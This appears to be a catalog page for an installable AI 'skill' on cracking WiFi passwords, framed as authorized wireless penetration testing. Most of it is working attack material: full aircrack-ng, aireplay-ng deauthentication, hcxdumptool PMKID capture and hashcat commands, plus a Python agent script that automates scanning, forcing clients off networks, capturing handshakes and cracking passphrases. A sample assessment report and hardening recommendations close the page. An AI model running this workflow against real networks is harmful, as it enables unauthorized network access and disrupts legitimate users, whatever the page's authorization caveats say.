network security

Performing WiFi Password Cracking with Aircrack-ng

Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.

aircrack-ngnetwork-securitywifiwireless-securitywpa2
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • Assessing the strength of WPA/WPA2/WPA3 passphrases during authorized wireless penetration tests
  • Testing whether wireless networks are using weak or default passwords that can be cracked offline
  • Capturing and analyzing 4-way handshakes to evaluate wireless authentication security
  • Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders
  • Validating that enterprise wireless networks use 802.1X/EAP instead of pre-shared keys

Do not use against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.

Prerequisites

  • Written authorization specifying in-scope SSIDs and wireless networks
  • Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)
  • Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed
  • Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)
  • GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)

Workflow

Step 1: Prepare the Wireless Interface

# Identify wireless interfaces
iwconfig
# or
iw dev
 
# Kill interfering processes
sudo airmon-ng check kill
 
# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon
 
# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"
 
# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Step 2: Scan for Target Networks

# Scan all channels for access points
sudo airodump-ng wlan0mon
 
# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork
 
# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)
 
# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Step 3: Capture the WPA2 4-Way Handshake

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture
 
# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
 
# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
 
# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2
 
# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng
 
# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID
 
# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

Step 4: Crack with Aircrack-ng (CPU-based)

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
 
# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
 
# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap
 
# If successful, output shows:
# KEY FOUND! [ password123 ]

Step 5: Crack with Hashcat (GPU-accelerated)

# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap
 
# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input
 
# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt
 
# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
# Brute force 8-character numeric passwords
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d
 
# Combination attack (two wordlists combined)
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt
 
# Mask attack for common patterns (Word + 4 digits)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d
 
# For PMKID-specific hashes
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
 
# Show cracked password
hashcat -m 22000 hashcat_input.hc22000 --show

Step 6: Document and Clean Up

# Stop monitor mode
sudo airmon-ng stop wlan0mon
 
# Restart networking services
sudo systemctl restart NetworkManager
 
# Generate report
cat > wifi_assessment_report.txt << 'EOF'
WiFi Security Assessment Results
=================================
Target SSID: TargetNetwork
BSSID: AA:BB:CC:DD:EE:FF
Encryption: WPA2-PSK (CCMP)
Channel: 6
 
Handshake Capture: Successful (Method: Client deauthentication)
Cracking Result: PASSWORD FOUND
Password: [documented securely]
Time to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)
 
Recommendation: Change to a passphrase of 15+ characters with mixed case,
numbers, and symbols, or migrate to WPA2/WPA3-Enterprise with 802.1X.
EOF
 
# Securely handle capture files (contain sensitive authentication material)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# Transfer to secure evidence storage per engagement agreement

Key Concepts

Term Definition
4-Way Handshake WPA/WPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking
PMKID Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client
Monitor Mode Wireless interface mode that captures all wireless frames on a channel without associating with any access point
Deauthentication Attack Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake
PSK (Pre-Shared Key) Static password used by all users to authenticate to a WPA/WPA2-Personal network, vulnerable to offline dictionary attacks
802.1X/EAP Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability

Tools & Systems

  • aircrack-ng suite: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)
  • hashcat: GPU-accelerated password cracker supporting WPA/WPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks
  • hcxtools: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats
  • hcxdumptool: Capture tool specifically designed for PMKID extraction without requiring client deauthentication
  • cowpatty: WPA/WPA2 cracking tool with precomputed hash table support for faster dictionary attacks

Common Scenarios

Scenario: Wireless Penetration Test for a Corporate Office

Context: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.

Approach:

  1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types
  2. Verify that Corp-WiFi uses 802.1X/EAP by examining beacon frames -- confirmed, no PSK to crack
  3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection
  4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password "Welcome2024!" cracked in 47 seconds
  5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password "iot12345" found in 12 seconds
  6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable
  7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase

Pitfalls:

  • Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope
  • Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)
  • Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)
  • Running GPU cracking on shared systems without monitoring temperature and power consumption

Output Format

## Wireless Security Assessment Report
 
**Assessment Date**: 2024-03-15
**Location**: Corporate Office, Building A
 
### Network Inventory
 
| SSID | BSSID | Encryption | Auth | Channel | Crackable |
|------|-------|------------|------|---------|-----------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A (Enterprise) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |
 
### Findings
 
**Finding 1: Weak Guest-WiFi Password (High)**
- Password: "Welcome2024!" (cracked via dictionary in 47 seconds)
- Present in rockyou.txt top 100,000 entries
- Shared among all visitors with no rotation policy
 
**Finding 2: Trivial IoT-WiFi Password (Critical)**
- Password: "iot12345" (cracked in 12 seconds)
- Default-pattern password providing access to IoT device network
- No network segmentation between IoT-WiFi and corporate resources
 
### Recommendations
1. Migrate Guest-WiFi to captive portal with per-session credentials
2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation
3. Implement network segmentation isolating IoT VLAN from corporate resources
4. Consider WPA3-SAE for PSK networks to prevent offline cracking
5. Enable 802.11w Protected Management Frames to prevent deauth attacks
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.3 KB

API Reference: WiFi Password Cracking with Aircrack Agent

Overview

Automates WPA/WPA2 wireless security assessment: monitor mode management, network scanning, handshake/PMKID capture, and offline cracking via aircrack-ng and hashcat subprocess wrappers.

Dependencies

Package Version Purpose
subprocess stdlib Aircrack-ng suite and hashcat execution

External Tools Required

Tool Purpose
airmon-ng Monitor mode enable/disable
airodump-ng Wireless network scanning and capture
aireplay-ng Deauthentication for handshake capture
aircrack-ng WPA dictionary attack (CPU)
hashcat WPA cracking with GPU acceleration
hcxdumptool PMKID capture (optional)
hcxpcapngtool PMKID hash extraction (optional)

Core Functions

enable_monitor_mode(iface)

Kills interfering processes and enables monitor mode.

  • Returns: dict with monitor_interface

scan_networks(mon_iface, duration, output_prefix)

Scans for nearby wireless networks, parses CSV output.

  • Returns: list[dict] - BSSID, channel, encryption, ESSID, power

capture_handshake(mon_iface, bssid, channel, output_prefix, timeout)

Captures 4-way WPA handshake using targeted deauthentication.

  • Returns: dict with capture_file, handshake_captured

try_pmkid_capture(mon_iface, bssid, channel, timeout)

Attempts PMKID-based capture (no client needed).

  • Returns: dict with pmkid_captured, hash_file

crack_with_aircrack(cap_file, wordlist)

CPU-based dictionary attack using aircrack-ng.

  • Default wordlist: /usr/share/wordlists/rockyou.txt
  • Returns: dict with cracked, key

crack_with_hashcat(hash_file, wordlist, hash_mode)

GPU-accelerated cracking. Mode 22000 for WPA-PBKDF2-PMKID+EAPOL.

  • Returns: dict with cracked, result

disable_monitor_mode(mon_iface)

Restores managed mode and restarts NetworkManager.

Hashcat Modes

Mode Hash Type
22000 WPA-PBKDF2-PMKID+EAPOL
22001 WPA-PMK-PMKID+EAPOL
2500 WPA-EAPOL-PBKDF2 (legacy)

Requirements

  • Root/sudo privileges
  • Monitor mode capable wireless adapter
  • Written authorization for target networks

Usage

sudo python agent.py wlan0

Scripts 1

agent.py7.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""WiFi password cracking assessment agent using aircrack-ng subprocess wrappers."""

import subprocess
import sys
import os
import re
import time
import signal
from datetime import datetime


def check_tools():
    """Verify required tools are installed."""
    tools = {}
    for tool in ["airmon-ng", "airodump-ng", "aireplay-ng", "aircrack-ng", "hashcat"]:
        result = subprocess.run(
            ["which", tool], capture_output=True, text=True,
            timeout=120,
        )
        tools[tool] = result.stdout.strip() if result.returncode == 0 else None
    return tools


def list_interfaces():
    """List wireless interfaces."""
    result = subprocess.run(
        ["iw", "dev"], capture_output=True, text=True,
        timeout=120,
    )
    interfaces = re.findall(r"Interface\s+(\S+)", result.stdout)
    return interfaces


def enable_monitor_mode(iface="wlan0"):
    """Enable monitor mode on wireless interface."""
    subprocess.run(["airmon-ng", "check", "kill"], capture_output=True, timeout=120)
    result = subprocess.run(
        ["airmon-ng", "start", iface], capture_output=True, text=True,
        timeout=120,
    )
    mon_match = re.search(r"monitor mode .* enabled on (\S+)", result.stdout)
    mon_iface = mon_match.group(1) if mon_match else f"{iface}mon"
    return {"monitor_interface": mon_iface, "output": result.stdout.strip()}


def scan_networks(mon_iface="wlan0mon", duration=15, output_prefix="/tmp/scan"):
    """Scan for nearby wireless networks."""
    proc = subprocess.Popen(
        ["airodump-ng", mon_iface, "-w", output_prefix, "--output-format", "csv"],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )
    time.sleep(duration)
    proc.send_signal(signal.SIGINT)
    proc.wait()
    csv_file = f"{output_prefix}-01.csv"
    networks = []
    if os.path.exists(csv_file):
        with open(csv_file, "r", errors="ignore") as f:
            lines = f.readlines()
        in_ap_section = True
        for line in lines[2:]:
            if not line.strip() or "Station MAC" in line:
                in_ap_section = False
                continue
            if not in_ap_section:
                continue
            fields = [f.strip() for f in line.split(",")]
            if len(fields) >= 14:
                bssid = fields[0]
                channel = fields[3]
                encryption = fields[5]
                essid = fields[13]
                power = fields[8]
                if bssid and len(bssid) == 17:
                    networks.append({
                        "bssid": bssid, "channel": channel,
                        "encryption": encryption, "essid": essid,
                        "power": power,
                    })
    return networks


def capture_handshake(mon_iface, bssid, channel, output_prefix="/tmp/handshake",
                      timeout=120):
    """Capture WPA handshake from target network."""
    proc = subprocess.Popen(
        ["airodump-ng", "-c", str(channel), "--bssid", bssid,
         "-w", output_prefix, mon_iface],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )
    time.sleep(5)
    subprocess.run(
        ["aireplay-ng", "-0", "5", "-a", bssid, mon_iface],
        capture_output=True, timeout=30
    )
    time.sleep(timeout)
    proc.send_signal(signal.SIGINT)
    proc.wait()
    cap_file = f"{output_prefix}-01.cap"
    handshake_captured = False
    if os.path.exists(cap_file):
        check = subprocess.run(
            ["aircrack-ng", cap_file], capture_output=True, text=True, timeout=10
        )
        if "1 handshake" in check.stdout:
            handshake_captured = True
    return {
        "capture_file": cap_file,
        "handshake_captured": handshake_captured,
        "bssid": bssid,
        "channel": channel,
    }


def try_pmkid_capture(mon_iface, bssid, channel, timeout=30):
    """Attempt PMKID capture using hcxdumptool."""
    output_file = "/tmp/pmkid.pcapng"
    try:
        proc = subprocess.Popen(
            ["hcxdumptool", "-i", mon_iface, "-o", output_file,
             "--enable_status=1", "--filtermode=2",
             f"--filterlist_ap={bssid}"],
            stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )
        time.sleep(timeout)
        proc.send_signal(signal.SIGINT)
        proc.wait()
        hash_file = "/tmp/pmkid_hash.txt"
        subprocess.run(
            ["hcxpcapngtool", "-o", hash_file, output_file],
            capture_output=True,
            timeout=120,
        )
        if os.path.exists(hash_file) and os.path.getsize(hash_file) > 0:
            return {"pmkid_captured": True, "hash_file": hash_file}
    except FileNotFoundError:
        pass
    return {"pmkid_captured": False}


def crack_with_aircrack(cap_file, wordlist="/usr/share/wordlists/rockyou.txt"):
    """Crack WPA handshake using aircrack-ng with wordlist."""
    if not os.path.exists(wordlist):
        return {"error": f"Wordlist not found: {wordlist}"}
    result = subprocess.run(
        ["aircrack-ng", cap_file, "-w", wordlist],
        capture_output=True, text=True, timeout=3600
    )
    key_match = re.search(r"KEY FOUND!\s*\[\s*(.+?)\s*\]", result.stdout)
    if key_match:
        return {"cracked": True, "key": key_match.group(1), "tool": "aircrack-ng"}
    return {"cracked": False, "tool": "aircrack-ng"}


def crack_with_hashcat(hash_file, wordlist="/usr/share/wordlists/rockyou.txt",
                       hash_mode=22000):
    """Crack WPA hash using hashcat with GPU acceleration."""
    if not os.path.exists(wordlist):
        return {"error": f"Wordlist not found: {wordlist}"}
    try:
        result = subprocess.run(
            ["hashcat", "-m", str(hash_mode), hash_file, wordlist,
             "--force", "-o", "/tmp/hashcat_cracked.txt"],
            capture_output=True, text=True, timeout=7200
        )
        cracked_file = "/tmp/hashcat_cracked.txt"
        if os.path.exists(cracked_file) and os.path.getsize(cracked_file) > 0:
            with open(cracked_file) as f:
                return {"cracked": True, "result": f.read().strip(), "tool": "hashcat"}
    except (FileNotFoundError, subprocess.TimeoutExpired):
        pass
    return {"cracked": False, "tool": "hashcat"}


def disable_monitor_mode(mon_iface="wlan0mon"):
    """Disable monitor mode and restore managed mode."""
    subprocess.run(["airmon-ng", "stop", mon_iface], capture_output=True, timeout=120)
    subprocess.run(["systemctl", "restart", "NetworkManager"], capture_output=True, timeout=120)
    return {"restored": True}


def print_report(networks, handshake, crack_result):
    print("WiFi Security Assessment Report")
    print("=" * 50)
    print(f"Date: {datetime.now().isoformat()}")
    print(f"\nNetworks Discovered: {len(networks)}")
    for n in networks[:10]:
        print(f"  {n['essid']:25s} {n['bssid']} ch:{n['channel']:>3s} {n['encryption']}")
    print(f"\nHandshake Capture: {'SUCCESS' if handshake.get('handshake_captured') else 'FAILED'}")
    print(f"  BSSID: {handshake.get('bssid')}")
    print(f"  File: {handshake.get('capture_file')}")
    if crack_result:
        if crack_result.get("cracked"):
            print(f"\nPassword Cracked: YES")
            print(f"  Key: {crack_result.get('key', crack_result.get('result', 'N/A'))}")
            print(f"  Tool: {crack_result['tool']}")
            print(f"  Risk: CRITICAL - Weak passphrase")
        else:
            print(f"\nPassword Cracked: NO (passphrase resists dictionary attack)")


if __name__ == "__main__":
    iface = sys.argv[1] if len(sys.argv) > 1 else "wlan0"
    tools = check_tools()
    missing = [t for t, p in tools.items() if not p]
    if missing:
        print(f"Missing tools: {', '.join(missing)}")
        sys.exit(1)
    print(f"Starting WiFi assessment on {iface}...")
Keep exploring